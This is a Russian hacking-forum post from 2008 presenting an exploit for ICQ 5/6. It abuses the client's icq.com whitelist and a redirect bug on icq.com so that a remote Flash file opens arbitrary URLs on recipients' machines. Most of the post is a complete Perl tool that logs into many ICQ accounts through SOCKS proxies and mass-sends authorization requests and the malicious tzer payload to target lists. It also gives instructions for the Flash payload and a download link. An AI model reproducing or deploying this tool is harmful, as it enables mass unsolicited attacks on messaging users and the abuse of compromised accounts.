ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > ICQ
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Icq 5/6 open url exploit
  #1  
Старый 19.07.2008, 19:12
Аватар для %00
%00
Новичок
Регистрация: 06.05.2008
Сообщений: 27
Провел на форуме:
282692

Репутация: 132
По умолчанию Icq 5/6 open url exploit

Icq 5/6 open url exploit

Сегодня поизвращаемся над icq 6...
идем в директорию с icq6 ICQ6\ConfigFiles\tzer.xml и так что мы видим?
Код:
<whitelist>
<u>www.icq.com</u>
<u>xtraz.icq.com</u>
<u>c.icq.com</u>
</whitelist>
я предположил что если залить на один из этих сайтов свою swf то она без проблем откроеться...
добавил в файл hosts
Код:
127.0.0.1 c.icq.com
залил на на локалхост swf'ky и послал себе в icq6 tzer
Код:
<tzer id="ID" name="hello" url="http://127.0.0.1/1.swf" preview="0" freeData="preview=0;uin=$uin"/>"
swf'ka открылась...с сайтов не включенных в белый лист не открывалась...
очевидно было, что нужно либо закачать swf например в greetings, либо подключить файл через какую-нибудь багу... например через эту
Код:
https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://url/1.swf
(http://forum.antichat.ru/showthread.php?p=719835)
После чего я взял флудер C!klodoL'a доработал его и сделал сплоит...
умеет:
-работать с socks
-отправлять по списку
-запрашивать авторизаию
и тд
Скрипт очень касячный... Писал на скороую руку для себя, есть версия написанная с нуля и не искользующая паблик баг с подкл файла...(если найдете много багов в этой версии выложу другую)
Код HTML:
##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
use Time::HiRes qw(gettimeofday tv_interval); 

system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
sleep(3);
system("cls");
my $ttz : shared;
$ttz=0;
my $ta: shared;
$ta=0;
my $stt;
my $authtext="auth";
my $tzer="<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://ya.ru/moogaloop.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>";
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @sendto : shared;
open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
@sendto = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@sendto);
chomp(@uins);
my $threads = 10; #количество потоков = количеству асек в файле 
if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
open( my $fh, '>>C:\log.txt');
my @tmass;
my $tmp=0;
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);
    close($sock);
	  if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);




    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    $sock->send($FLAP.$SNAC);

	
my $t0 = [gettimeofday];	
while(my $targetUin=shift(@sendto)) {
if (tv_interval($t0)<60*3 && $targetUin) {
$SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
#$socket->recv($response,65535);
sleep 2+int(rand(5));
$tmass[$tmp]=$targetUin;
$tmp=$tmp+1;
$ta=$ta+1;
print $fh "\nsend auth to $targetUin";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
} else {while($stt=shift(@tmass)) {
sleep(60);
my $core_len = 11 + 52 + length($tzer);
$SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt)."\x00\x05"."\x01\x4D\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer)."\x00\x03\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$t0 = [gettimeofday];
$ttz=$ttz+1;
print $fh "\nsend exploit to $stt";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
}
}
}
if (@tmass) {sleep(60);}
while ($stt=shift(@tmass)) {
my $core_len = 11 + 52 + length($tzer);
my $sss="\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer);
$SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt).pack('nna*', 5, length($sss), $sss)."\x00\x03\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ttz=$ttz+1;
print $fh "\nsend exploit to $stt";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
}
close $fh;
}

sub int2bytes { return pack('n',shift) }

sub parsCookie {
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}
изменяем "Ваш урл" на url с swf
Код:
<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://Ваш урл/1.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>
чтобы открыть url у пользователя icq6 в fla файле должно быть
Код HTML:
getURL("http://xxx/", "_blank");
затем скомпилируйте и разместите по адресу "Ваш урл"
запрещено распостронение за приделы forum.antichat.ru
В ближайшие время постораюсь выложить спамер icq, и флудер авторизацией на основе флудера C!klodoL'a
1.fla и sploit.pl доступны по адресу
http://ifolder.ru/7400251

Последний раз редактировалось %00; 20.07.2008 в 16:55..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
FAQ: История ICQ white ICQ 6 11.01.2009 00:31
Полный обзор ICQ клиентов BlackCats ICQ 48 14.12.2008 00:32
icq 5/6 exploit (open url, play flash) sale %00 Разное - Покупка, продажа, обмен 0 03.07.2008 19:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ